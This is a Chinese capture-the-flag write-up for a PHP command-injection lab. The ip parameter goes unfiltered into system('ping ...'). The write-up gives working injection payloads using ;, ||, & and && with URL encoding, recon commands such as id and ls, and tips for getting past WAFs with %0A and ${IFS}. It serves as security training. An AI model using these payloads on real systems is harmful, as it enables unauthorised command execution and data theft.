HelloCTF RCE-labs Level 4 题解:SHELL 运算符
HelloCTF RCE-labs · 命令执行:SHELL 运算符 —— Writeup
| 项目 | 内容 |
|---|---|
| 靶场 | HelloCTF RCE 靶场(github.com/ProbiusOfficial/RCE-labs,作者 探姬) |
| 关卡 | 命令执行 —— SHELL 运算符(Shell Operators) |
| 题型 | Web / PHP 命令执行(Command Injection / RCE) |
| 目标 | http://80-3746d733-ddb8-4db6-ba6f-982b35b410f5.challenge.ctfplus.cn/ |
| 入口参数 | GET 参数 ip |
| 过滤情况 | 无任何过滤,值原样拼进 system() |
| 工具 | 新版 HackBar(DevTools 内置版)、Burp Suite Community v2026.8(新版 UI) |
| 结果 | 拿到 Geesec{6c502190-7355-46bb-bc5c-b750ae133cad} |
注:上方地址是平台下发的临时实例,题目做完后会失效。复现时请替换成自己那一份。
一、题目
打开靶机,页面直接把源码打印了出来(highlight_file(__FILE__) 的效果)。去掉出题人的大段教学注释后,核心只有三行:
function hello_server($ip){ system("ping -c 1 $ip");}
isset($_GET['ip']) ? hello_server($_GET['ip']) : null;
highlight_file(__FILE__);题面注释里出题人已经把本关的教学点写清楚了 —— 一张 SHELL 运算符速查表:
| 运算符 | 含义 | 出题人给的例子 |
|---|---|---|
&& | 逻辑与:cmd_1 成功(返回 0)才执行 cmd_2 | mkdir test && cd test |
|| | 逻辑或:cmd_1 失败(返回非 0)才执行 cmd_2 | cd no_dir || echo "not found" |
& | 后台运行:cmd_1 丢后台,立刻执行 cmd_2 | sleep 10 & echo "run now" |
; | 命令分隔符:无论 cmd_1 成败都执行 cmd_2 | echo "Hello" ; echo "World" |
⚠️ 这四个例子都是命令行写法。直接搬进 URL 会失效(
;和&会在 HTTP 层被切掉)—— 它们在 URL 里的正确写法见 6.6。
并给了两行提示:
try GET: ?ip=8.8.8.8flag is /flag二、题目分析
2.1 三条线索
| 线索(页面原文) | 出现位置 | 推出的结论 |
|---|---|---|
isset($_GET['ip']) ? hello_server($_GET['ip']) : null; | 源码 | 参数名叫 ip,走 GET 查询串传入 |
system("ping -c 1 $ip"); | 源码 | 值被双引号拼接进 shell 命令,system() 直接回显 |
全篇没有任何 preg_match / str_replace | 源码 | 零过滤,不用考虑 WAF 绕过 |
2.2 本关和「空字符/通配符」那关的本质区别
那关参数 cmd 的值就是一条完整命令,不存在拼接;本关是拼接型:
ping -c 1 $ip ^^^^ 把这里换成 <地址><运算符><命令>所以本关唯一要解决的就是一个问题:用哪个运算符,把第二条命令接在 ping 后面。
2.3 拼接后 Shell 实际看到什么
以 ?ip=127.0.0.1%3Bcat%20/flag 为例(分号写成了 %3B,这一点见 3.3,不编码会直接失败),PHP 解码后拿到 127.0.0.1;cat /flag,拼完交给 shell 的字符串是:
ping -c 1 127.0.0.1;cat /flagshell 按 ; 切成两条独立命令,依次执行,两条的输出都进 stdout,system() 原样吐回给你。于是 ping 的结果和 cat /flag 的结果会上下挨在一起回显 —— 这是判断”注入成功了没有”的最直观依据。
2.4 关键实测:本靶机的 ping 必然失败
这一点不实测很容易被”课本知识”带偏。实际探测结果如下。
| 探测项 | 命令 | 回显 | 结论 |
|---|---|---|---|
| 执行身份 | ?ip=%3Bid | uid=82(www-data) | 非 root |
| ping 路径 | ?ip=%3Bwhich ping | /bin/ping | — |
| ping 真身 | ?ip=%3Bls -l /bin/ping | /bin/ping -> /bin/busybox | busybox 软链 |
| 直接执行 | ?ip=127.0.0.1%3Bping -c 1 127.0.0.1 2>&1 | ping: permission denied (are you root?) | 权限不足 |
| 退出码 | ?ip=127.0.0.1%3Becho RC=$? | RC=1 | 返回 1(失败) |
原因:busybox 的 ping 需要 CAP_NET_RAW(一般靠 root 或 setuid 获得),而 PHP 以 www-data 身份运行,拿不到该权限 —— 它只是打印了一行 PING ... 56 data bytes 就报错退出,一个 ICMP 包都没发出去。
这一条直接决定两种”有条件运算符”的生死:
| 运算符 | 触发条件 | 在本靶机的实际表现 |
|---|---|---|
&& | 前一条返回 0 才执行 | ❌ ping 永远返回 1 ⇒ 永远不会触发 |
|| | 前一条返回 非 0 才执行 | ✅ ping 永远失败 ⇒ 永远会触发 |
2.5 四种运算符的取舍(含实测)
| 运算符 | payload(已按 3.3 规则编码) | 结果 |
|---|---|---|
; | ?ip=127.0.0.1%3Bcat%20/flag | ✅ 无条件执行,最省心,首选 |
|| | ?ip=x%7C%7Ccat%20/flag | ✅ ping 必失败 ⇒ 必然触发 |
& | ?ip=127.0.0.1%26cat%20/flag | ✅ 能触发 |
&& | ?ip=127.0.0.1%26%26cat%20/flag | ❌ 哑火 —— ping 拿不到 0 返回码 |
如果非要让
&&生效,得先自己制造一个成功命令,例如?ip=x%3Btrue%26%26cat%20/flag。既然已经有;可用了,这就属于多此一举 —— 这正是本关的”题眼”所在。
结论:本关实际可用的是 ;、\|\|、&,&& 因为靶机 ping 无权执行而天然失效。
三、Burp Suite 操作(新版 UI · Community v2026.8)
3.1 打开内置浏览器
新版 UI 顶部标签是 Dashboard / Target / Proxy / Intruder / Repeater,scope 不在 Target 里(在 Settings → Tools → Scope)。内置浏览器入口:
Proxy→Intercept页 → 右上角Open browser
免配代理、免装证书,直接用。
3.2 三步走到 Repeater
| 步 | 操作 | 目的 |
|---|---|---|
| 1 | 在 Burp 内置浏览器里访问 http://<靶机>/?ip=8.8.8.8 | 制造一个带参数的合法请求做底座 |
| 2 | 切到 Proxy → HTTP history,找到这条 GET ...?ip=8.8.8.8,右键 → Send to Repeater | 把请求原样搬到重放器 |
| 3 | 切到 Repeater,在上方请求行的 URL 里直接改 ip 的值 | 改 payload 反复重放(记得按 3.3 编码) |
也可以跳过浏览器:直接在 Repeater 里手写
GET /?ip=... HTTP/1.1+Host: <靶机>,效果一样。
3.3 改 payload 的两个坑
坑一(最容易踩):; 和 & 都会在 HTTP 层被吃掉。
这台服务器的 PHP 把 ; 也当作参数分隔符(arg_separator.input 里含 ;,这是 PHP 5 时代的默认值),所以分号和与号一样,裸写就会被切开。
实测对照:
| 你写进 URL 栏的 | $_GET['ip'] 实际拿到 | 结果 |
|---|---|---|
?ip=127.0.0.1;cat%20/flag | 127.0.0.1 | ❌ 后半截丢失,响应里只剩 PING |
?ip=127.0.0.1%3Bcat%20/flag | 127.0.0.1;cat /flag | ✅ PING + flag |
这就是”BP 里明明发了 payload 却什么都没有”的头号原因 —— 响应 200、PING 那行也在,看起来一切正常,实际第二条命令从来没进过 PHP。
必背编码表:
| 字符 | 能裸写吗 | 编码为 | 原因 |
|---|---|---|---|
; | ❌ | %3B | 被当参数分隔符 |
& | ❌ | %26 | 被当参数分隔符 |
| 空格 | 勉强 | %20 | 转义更稳妥 |
| | 可以 | %7C(建议) | 不是分隔符,编码更保险 |
$ | 可以 | 无需处理 | 不是保留字符 |
铁律:在 Repeater 的 URL 栏里,
;、&、空格一律百分号编码。照 shell 的写法直接敲,payload 会死在 HTTP 层,而且不会有任何报错。
坑二:别忘了 %20。
?ip=127.0.0.1%3Bcat /flag 中间那个裸空格,稳妥写法是 %20:
?ip=127.0.0.1%3Bcat%20/flag3.4 逐个验证
按 Ctrl+R(或点 Send)依次重放,观察 Response:
GET /?ip=127.0.0.1%3Bcat%20/flag ← 首推,无条件执行GET /?ip=x%7C%7Ccat%20/flag ← ping 必失败 ⇒ 必然触发GET /?ip=127.0.0.1%26cat%20/flag ← 后台运行GET /?ip=127.0.0.1%26%26cat%20/flag ← 会哑火,用来验证 2.4 的结论四条严格按 3.3 的规则编码:;→%3B、&→%26、空格→%20、|→%7C。
前三条能出 flag,最后一条空白 —— 这个”反差”就是本关最值得记住的地方。
四、结果
用 ;(URL 里编码成 %3B)一次打通,响应体里 ping 输出之后直接跟着 flag:
PING 127.0.0.1 (127.0.0.1): 56 data bytesGeesec{6c502190-7355-46bb-bc5c-b750ae133cad}注意回显里只有 PING ... 的抬头行,没有 64 bytes from ...、也没有统计行 —— 这正是 2.4 里那个”ping 无权执行”的直观证据。第一条命令虽然废了,; 后面的 cat 照跑不误,这就是无条件运算符的意义。
同时验证了执行身份与文件权限:
$ ?ip=127.0.0.1%3Biduid=82(www-data) gid=82(www-data) groups=82(www-data)
$ ?ip=127.0.0.1%3Bls -la /flag-rwxr--r-- 1 root root 45 Oct 7 15:05 /flagflag 文件权限是 -rwxr--r--,owner/group 之外的 others 有读权限,所以 www-data 直接 cat 就能读,不需要提权。
五、这道题想教你什么
| 教学点 | 具体内容 |
|---|---|
| 1. 认识拼接型命令注入 | 危险点不在参数本身,而在 system("ping -c 1 $ip") 这种”把用户输入拼进 shell 命令”的写法 |
| 2. 分清四种运算符的执行条件 | ; 无条件 / && 前成功 / || 前失败 / & 后台 —— 这是选 payload 的判断依据 |
| 2b. 不要背结论,要实测前置命令的成败 | 本靶机 ping 因无 CAP_NET_RAW 必然返回 1 ⇒ && 哑火、|| 必触发。同一套运算符,换个能 ping 通的环境结论就反过来 |
| 3. 两层解析、两层编码 | ; 和 & 在 HTTP 层都是参数分隔符,裸写就死在 $_GET 解析上(无报错、无回显,最难排查),必须写成 %3B / %26;编码之后它们才是 shell 层的运算符 |
| 4. 判断注入成功与否的依据 | system() 把两条命令的输出拼接回显,ping 结果后面多出来的那一行就是命令执行成功的证据 |
| 5. 排查手法:人质标记法 | 没回显时先塞一个 echo HOSTAGE_A 当标记,判断卡在 HTTP 层还是 shell 层(详见第六章) |
六、深入:为什么 ; 必须写成 %3B(附踩坑记录)
6.1 案发现场
在 Burp Repeater 里按”shell 的写法”直接敲:
GET /?ip=127.0.0.1;cat%20/flag HTTP/1.1Host: 80-3746d733-....challenge.ctfplus.cn响应是 200 OK:
PING 127.0.0.1 (127.0.0.1): 56 data bytes<code><span style="color: #000000"><?php ...源码...</span></code>没有 flag,也没有任何报错。 最迷惑人的是 PING 那一行照常打印,看起来”命令执行一切正常”,很容易让人误判成”payload 写错了”而反复换 payload。
6.2 根因:你的 payload 要穿过三层
| 层 | 谁在解析 | 它会动你的什么 |
|---|---|---|
| ① 客户端 | 浏览器 / curl / Burp | # 之后的内容根本不发送 |
| ② HTTP + PHP | $_GET 参数解析 | 按分隔符切参数,再做 URL 解码 |
| ③ shell | /bin/sh -c | 按运算符切命令、展开变量、处理引号 |
坑就在第 ② 层:切分发生在解码之前。 所以”你以为的一个参数”,在 PHP 眼里可能是两个。
6.3 逐步拆解
裸分号:?ip=127.0.0.1;cat%20/flag
| 阶段 | 结果 |
|---|---|
| 服务端收到原始查询串 | ip=127.0.0.1;cat%20/flag |
| PHP 按分隔符切参数 | 切成 ip=127.0.0.1 + cat /flag(无值) |
$_GET['ip'] 实际是 | 127.0.0.1 ← 后半截没了 |
交给 system() | ping -c 1 127.0.0.1 |
| 回显 | 只有 PING 抬头 |
编码分号:?ip=127.0.0.1%3Bcat%20/flag
| 阶段 | 结果 |
|---|---|
| 服务端收到原始查询串 | ip=127.0.0.1%3Bcat%20/flag |
| PHP 按分隔符切参数 | 没有裸分隔符可切 ⇒ 整个是一个参数 |
| URL 解码 | 127.0.0.1;cat /flag |
交给 system() | ping -c 1 127.0.0.1;cat /flag |
| 回显 | PING + flag ✅ |
一句话:%3B 让分号”伪装”成普通字符混过切分阶段,解码后才现出原形,正好赶上第 ③ 层。
实测对照(打在人把子上):
| 发送 | $_GET['ip'] 收到 | 回显 |
|---|---|---|
?ip=1.1.1.1;echo%20SEP_TAG | 1.1.1.1 | 只有 PING 1.1.1.1 |
?ip=1.1.1.1%3Becho%20SEP_TAG | 1.1.1.1;echo SEP_TAG | PING 1.1.1.1 + SEP_TAG |
6.4 同类字符全表
A 类 —— 会在第 ② 层被改写(必须编码)
| 字符 | 裸写会怎样 | 正确写法 | 依据 |
|---|---|---|---|
; | 被当参数分隔符,后半截静默消失 | %3B | 本靶机实测 |
& | 被当参数分隔符 | %26 | 本靶机实测 |
+ | 被解码成空格 | %2B(要字面加号时) | 本地实测:ip=TAGA+TAGB → TAGA TAGB |
% | 是转义引导符,%41 会变成 A | %25 | 本地实测:ip=TAG%41 → TAGA |
| 空格 | 部分场景被吞 | %20(或 +) | 规范 |
[ ] | PHP 把值变成数组,ping 收到 Array 而报错 | 尽量不用;必须用时写 %5B %5D | PHP 特性 |
B 类 —— 会在第 ① 层就被截断
| 字符 | 裸写会怎样 | 正确写法 | 依据 |
|---|---|---|---|
# | 之后的内容客户端根本不发送 | %23 | 本地实测:请求 /?ip=TAGH#CUT,服务端只收到 /?ip=TAGH |
#是 URL 的 fragment 分隔符,属于客户端行为。用 curl / 浏览器时一定要%23;Burp 的 URL 栏大多会保留,但别赌。
C 类 —— 第 ② 层安全,但第 ③ 层(shell)会搞事
这类不需要为了过 HTTP 层而编码,但它们才是命令注入的”武器库”:
| 字符 | HTTP 层 | shell 层的作用 |
|---|---|---|
' " | 安全 | 引号,可闭合/拼接绕过过滤 |
$ | 安全 | 变量展开(${IFS}、$IFS$9 当空格用) |
` | 安全 | 命令替换 |
| | 安全(建议 %7C) | 管道 |
> < | 安全 | 重定向 |
* ? | 安全 | 通配符(绕关键词黑名单) |
换行 %0A | 必须编码 | 等价于 ;,且常能绕过只拦 ; 的 WAF |
6.5 排查手法:人质标记法
“发了 payload 却没有回显”时,不要急着换 payload,先定位它卡在哪一层。做法是往 payload 里塞一个独一无二的标记当”人质”:
?ip=1.1.1.1;echo HOSTAGE_A ← 裸写?ip=1.1.1.1%3Becho HOSTAGE_A ← 编码然后看回显:
| 现象 | 说明卡在哪一层 | 下一步 |
|---|---|---|
PING 有、HOSTAGE_A 没有 | 第 ② 层(HTTP/PHP) | 检查编码:;→%3B、&→%26 |
PING 有、HOSTAGE_A 有、flag 没有 | 第 ③ 层(shell) | 检查运算符、命令路径、权限 |
连 PING 都没有 | 请求根本没到 | 检查 URL 拼写、实例是否存活 |
这个手法在本题之外同样通用:先证明”我能执行一条无害命令”,再换成真 payload。
6.6 回头再看题面:页面教的 vs 编码补的
这一节把整道题的两半合起来看。
靶机注释教的 SHELL 运算符语义,属于 shell 层(第 ③ 层);而 %3B 这类编码属于 HTTP + PHP 层(第 ② 层)。
没有第 ② 层的知识,第 ③ 层的知识一次都用不上 —— 你完全理解了四种运算符的行为,但只要 ; 裸着写,shell 那一层永远收不到它。
页面给的四个例子,全都是命令行里的写法,落进 URL 都得重新翻译一遍:
| 页面教的运算符 | 页面给的例子(命令行写法) | URL 里实际要写 | 不编码的后果 |
|---|---|---|---|
; 命令分隔符 | echo "Hello" ; echo "World" | %3B | 后半截静默消失 |
& 后台运行符 | sleep 10 & echo "run now" | %26 | 被当参数分隔符 |
&& 逻辑与 | mkdir test && cd test | %26%26 | 两个 & 都要编码 |
|| 逻辑或 | cd no_dir || echo "not found" | %7C%7C(裸写也能过) | — |
为什么这一块特别容易被忽略:
- 页面里没有一个例子是 URL 写法,清一色命令行写法;
- 页面唯一的 GET 示范
?ip=8.8.8.8不含任何分隔符 —— 照抄它永远成功。
于是形成一个陷阱:照抄示范能过;一旦你按页面的知识补上一个 ;,就踏进了页面没写的那一半。
两者是互补关系,缺一不可:
| 页面教的 | 编码补的 | |
|---|---|---|
| 回答的问题 | 用哪个运算符 | 怎么让运算符送到 |
| 所在层 | shell(第 ③ 层) | HTTP + PHP(第 ② 层) |
| 缺了会怎样 | 不知道该拿什么接命令 | 知道也送不进去 |
打个比方:页面教你”这把钥匙能开哪扇门”,编码保证”钥匙能插进锁孔”。 知识点是页面给的,实操是页面留白的 —— 而留白的那部分,才是这道题真正想让你踩一次坑的地方。
6.7 一句话记住
URL 里遇到
;&+%#和空格,一律百分号编码。 其中;&改变的是参数个数(最危险,静默失败),+%改变的是内容,#会让整段消失。
七、一句话总结
本关无过滤、无黑名单,唯一考点是”知道哪个运算符能把命令接上去,以及它在 URL 里怎么正确编码”。
顺带记住两条来自实战的教训:
- 运算符语义是死的,前置命令的成败是活的 —— 本靶机
ping恒返回 1,导致&&哑火、||必触发(见 2.4)。 - 能跑通的 payload ≠ 用户能跑通的 payload —— 用
curl --data-urlencode验证时它会自动编码;,正好绕过 6.3 的坑;复现”手敲 URL”必须用裸字符串。
真正在实战里,; 通常会被 WAF 拦,那时才轮到 &&、%0A、${IFS}、$IFS$9 这些替代品登场。
支持与分享
如果这篇文章对你有帮助,欢迎分享给更多人或打赏支持!
























































